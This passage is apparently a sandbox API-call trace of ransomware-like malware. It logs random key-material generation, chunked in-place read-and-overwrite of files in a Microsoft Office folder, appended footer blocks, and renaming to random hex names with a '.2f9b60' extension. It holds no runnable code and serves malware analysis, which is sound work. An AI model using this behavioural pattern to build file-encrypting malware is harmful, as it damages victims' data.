liDistanceToMove=0xa557c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.617] ReadFile (in: hFile=0x1c38, lpBuffer=0x21faf900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21faf948, lpOverlapped=0x0 | out: lpBuffer=0x21faf900*, lpNumberOfBytesRead=0x21faf948*=0x4, lpOverlapped=0x0) returned 1 [0134.662] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b30 [0134.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267bf0 [0134.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0134.662] NtQuerySystemTime (in: CurrentTime=0x21faf840 | out: CurrentTime=0x21faf840*=132462177399082000) returned 0x0 [0134.662] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x5484f7c2 [0134.662] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0xeac6d9c [0134.662] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x7549024 [0134.662] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x6372d9d4 [0134.662] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x6e1444c7 [0134.662] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x7de19c77 [0134.662] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x24324f91 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x5ddcee68 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x26127d2d [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x18fe8448 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x2c17834b [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x693bdd78 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x152bd74b [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x4240cefc [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x6f3562dc [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x78499659 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x65db1252 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x27f04eba [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x68d1a780 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x458c1974 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x22fae6c8 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x7cb8061 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x75e57d0 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x5bfa5377 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x243c0acb [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x7b5dd322 [0134.663] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x5367274e [0134.664] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x5ff024b0 [0134.664] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0xebe0dde [0134.664] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x411d6b56 [0134.664] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x267cc2ac [0134.664] RtlRandomEx (in: Seed=0x21faf830 | out: Seed=0x21faf830) returned 0x128e2546 [0134.677] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.677] ReadFile (in: hFile=0x1c38, lpBuffer=0x41cea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21faf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41cea520*, lpNumberOfBytesRead=0x21faf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0134.722] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0134.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0134.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d40 [0134.723] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d40) returned 1 [0134.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cfd170 [0134.723] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d40 [0134.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e00 [0134.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e00) returned 1 [0134.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0134.724] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0134.724] WriteFile (hFile=0x1c38, lpBuffer=0x41cfd170, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21faf8a0, lpOverlapped=0x0) [0178.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cfd170) returned 1 [0178.617] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x56400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.617] ReadFile (in: hFile=0x1c38, lpBuffer=0x41cea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21faf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41cea520*, lpNumberOfBytesRead=0x21faf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0180.522] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x56400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9380 [0180.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9380) returned 1 [0180.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42916280 [0180.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9380 [0180.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9500 [0180.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9500) returned 1 [0180.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.526] WriteFile (in: hFile=0x1c38, lpBuffer=0x42916280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21faf8a0, lpOverlapped=0x0 | out: lpBuffer=0x42916280*, lpNumberOfBytesWritten=0x21faf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42916280) returned 1 [0197.788] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0xa1980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.788] ReadFile (in: hFile=0x1c38, lpBuffer=0x41cea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21faf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41cea520*, lpNumberOfBytesRead=0x21faf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.436] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0xa1980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b90 [0198.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135b90) returned 1 [0198.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fdb4e0 [0198.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b90 [0198.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43135b60 [0198.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43135b60) returned 1 [0198.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.440] WriteFile (in: hFile=0x1c38, lpBuffer=0x41fdb4e0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21faf8a0, lpOverlapped=0x0 | out: lpBuffer=0x41fdb4e0*, lpNumberOfBytesWritten=0x21faf8a0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fdb4e0) returned 1 [0213.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f4b0 [0213.784] SetFilePointerEx (in: hFile=0x1c38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.784] WriteFile (in: hFile=0x1c38, lpBuffer=0x1cebd000*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x21faf950, lpOverlapped=0x0 | out: lpBuffer=0x1cebd000*, lpNumberOfBytesWritten=0x21faf950*=0x144, lpOverlapped=0x0) returned 1 [0216.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0216.336] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e570 [0216.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6cb0 [0216.337] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6cb0) returned 1 [0216.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0216.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6cb0 [0216.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e50 [0216.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7e50) returned 1 [0216.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e570) returned 1 [0216.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0216.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a7e50 [0216.340] sprintf (in: _Dest=0x202a7e50, _Format="%c%c" | out: _Dest="1e") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e52, _Format="%c%c" | out: _Dest="93") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e54, _Format="%c%c" | out: _Dest="76") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e56, _Format="%c%c" | out: _Dest="18") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e58, _Format="%c%c" | out: _Dest="c9") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e5a, _Format="%c%c" | out: _Dest="8d") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e5c, _Format="%c%c" | out: _Dest="96") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e5e, _Format="%c%c" | out: _Dest="32") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e60, _Format="%c%c" | out: _Dest="dc") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e62, _Format="%c%c" | out: _Dest="11") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e64, _Format="%c%c" | out: _Dest="ff") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e66, _Format="%c%c" | out: _Dest="ca") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e68, _Format="%c%c" | out: _Dest="3b") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e6a, _Format="%c%c" | out: _Dest="31") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e6c, _Format="%c%c" | out: _Dest="26") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e6e, _Format="%c%c" | out: _Dest="07") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e70, _Format="%c%c" | out: _Dest="9f") returned 2 [0216.340] sprintf (in: _Dest=0x202a7e72, _Format="%c%c" | out: _Dest="64") returned 2 [0216.340] RtlInitAnsiString (in: DestinationString=0x21faf9c8, SourceString="1e937618c98d9632dc11ffca3b3126079f64" | out: DestinationString="1e937618c98d9632dc11ffca3b3126079f64") [0216.340] RtlAnsiStringToUnicodeString (in: DestinationString=0x21faf998, SourceString="1e937618c98d9632dc11ffca3b3126079f64", AllocateDestinationString=1 | out: DestinationString="1e937618c98d9632dc11ffca3b3126079f64") returned 0x0 [0216.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9d6d0 [0216.341] wcscat (in: _Dest=0x1b79e570, _Source="1e937618c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1e937618c") returned="C:\\Program Files\\Microsoft Office\\Office14\\1e937618c" [0216.341] wcscat (in: _Dest=0x1b79e570, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1e937618c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1e937618c.2f9b60" [0216.341] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1e937618c.2f9b60", NtPathName=0x21faf970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1e937618c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431c5e40 Thread: id = 1714 os_tid = 0xfc0 [0130.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest")) returned 0x20 [0132.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest", dwFileAttributes=0x20) returned 1 [0133.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bfc [0134.362] GetFileSizeEx (in: hFile=0x1bfc, lpFileSize=0x1d23f7c0 | out: lpFileSize=0x1d23f7c0*=1382) returned 1 [0134.362] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x562, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.362] ReadFile (in: hFile=0x1bfc, lpBuffer=0x1d23f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d23f788, lpOverlapped=0x0 | out: lpBuffer=0x1d23f740*, lpNumberOfBytesRead=0x1d23f788*=0x4, lpOverlapped=0x0) returned 1 [0134.391] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0134.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0134.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0134.391] NtQuerySystemTime (in: CurrentTime=0x1d23f680 | out: CurrentTime=0x1d23f680*=132462177396274000) returned 0x0 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x35c7bbf8 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x3a2ca0ba [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x17b9a18 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x6ccb8af [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x49c9feea [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x1f5487f0 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x6de298a2 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x6302420 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x15dc6689 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0xb1bdd0b [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x7ce2a4be [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x4c98f5a4 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x4246def8 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x51c4b21c [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x5407531e [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x2dda79ed [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x6be17ef9 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x77f90905 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x69a5453 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x25898668 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x12e519e [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x2f0366ae [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x1cca5f82 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x43e11380 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x4aa06973 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x1b0c201 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x5a080404 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x62aa0552 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x546cf721 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x5689f52f [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x59b0375 [0134.392] RtlRandomEx (in: Seed=0x1d23f670 | out: Seed=0x1d23f670) returned 0x7a469863 [0134.402] ReadFile (in: hFile=0x1bfc, lpBuffer=0x41cb5950, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x1d23f670, lpOverlapped=0x0 | out: lpBuffer=0x41cb5950*, lpNumberOfBytesRead=0x1d23f670*=0x566, lpOverlapped=0x0) returned 1 [0134.402] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.402] WriteFile (in: hFile=0x1bfc, lpBuffer=0x41cb9560*, nNumberOfBytesToWrite=0x566, lpNumberOfBytesWritten=0x1d23f674, lpOverlapped=0x0 | out: lpBuffer=0x41cb9560*, lpNumberOfBytesWritten=0x1d23f674*=0x566, lpOverlapped=0x0) returned 1 [0134.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0134.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0134.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202675c0) returned 1 [0134.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb9560) returned 1 [0134.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cb5950) returned 1 [0134.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d490) returned 1 [0134.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0134.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f570 [0134.443] SetFilePointerEx (in: hFile=0x1bfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0134.443] WriteFile (in: hFile=0x1bfc, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x1d23f790, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x1d23f790*=0x11c, lpOverlapped=0x0) returned 1 [0140.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0140.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0140.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266de0) returned 1 [0140.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9eeb0 [0140.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0140.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0140.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0140.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0140.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9d9d0 [0140.891] sprintf (in: _Dest=0x1cd9d9d0, _Format="%c%c" | out: _Dest="9b") returned 2 [0140.891] sprintf (in: _Dest=0x1cd9d9d2, _Format="%c%c" | out: _Dest="c4") returned 2 [0140.891] sprintf (in: _Dest=0x1cd9d9d4, _Format="%c%c" | out: _Dest="28") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9d6, _Format="%c%c" | out: _Dest="c6") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9d8, _Format="%c%c" | out: _Dest="da") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9da, _Format="%c%c" | out: _Dest="68") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9dc, _Format="%c%c" | out: _Dest="fd") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9de, _Format="%c%c" | out: _Dest="58") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9e0, _Format="%c%c" | out: _Dest="d2") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9e2, _Format="%c%c" | out: _Dest="5c") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9e4, _Format="%c%c" | out: _Dest="00") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9e6, _Format="%c%c" | out: _Dest="62") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9e8, _Format="%c%c" | out: _Dest="3c") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9ea, _Format="%c%c" | out: _Dest="f1") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9ec, _Format="%c%c" | out: _Dest="8c") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9ee, _Format="%c%c" | out: _Dest="ad") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9f0, _Format="%c%c" | out: _Dest="38") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9f2, _Format="%c%c" | out: _Dest="64") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9f4, _Format="%c%c" | out: _Dest="6e") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9f6, _Format="%c%c" | out: _Dest="4a") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9f8, _Format="%c%c" | out: _Dest="36") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9fa, _Format="%c%c" | out: _Dest="9f") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9fc, _Format="%c%c" | out: _Dest="a5") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9d9fe, _Format="%c%c" | out: _Dest="b5") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9da00, _Format="%c%c" | out: _Dest="f3") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9da02, _Format="%c%c" | out: _Dest="16") returned 2 [0140.892] sprintf (in: _Dest=0x1cd9da04, _Format="%c%c" | out: _Dest="15") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da06, _Format="%c%c" | out: _Dest="2b") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da08, _Format="%c%c" | out: _Dest="11") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da0a, _Format="%c%c" | out: _Dest="4b") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da0c, _Format="%c%c" | out: _Dest="7b") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da0e, _Format="%c%c" | out: _Dest="38") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da10, _Format="%c%c" | out: _Dest="23") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da12, _Format="%c%c" | out: _Dest="9c") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da14, _Format="%c%c" | out: _Dest="74") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da16, _Format="%c%c" | out: _Dest="f7") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da18, _Format="%c%c" | out: _Dest="c1") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da1a, _Format="%c%c" | out: _Dest="f1") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da1c, _Format="%c%c" | out: _Dest="6d") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da1e, _Format="%c%c" | out: _Dest="f5") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da20, _Format="%c%c" | out: _Dest="ce") returned 2 [0140.893] sprintf (in: _Dest=0x1cd9da22, _Format="%c%c" | out: _Dest="97") returned 2 [0140.893] RtlInitAnsiString (in: DestinationString=0x1d23f808, SourceString="9bc428c6da68fd58d25c00623cf18cad38646e4a369fa5b5f316152b114b7b38239c74f7c1f16df5ce97" | out: DestinationString="9bc428c6da68fd58d25c00623cf18cad38646e4a369fa5b5f316152b114b7b38239c74f7c1f16df5ce97") [0140.893] 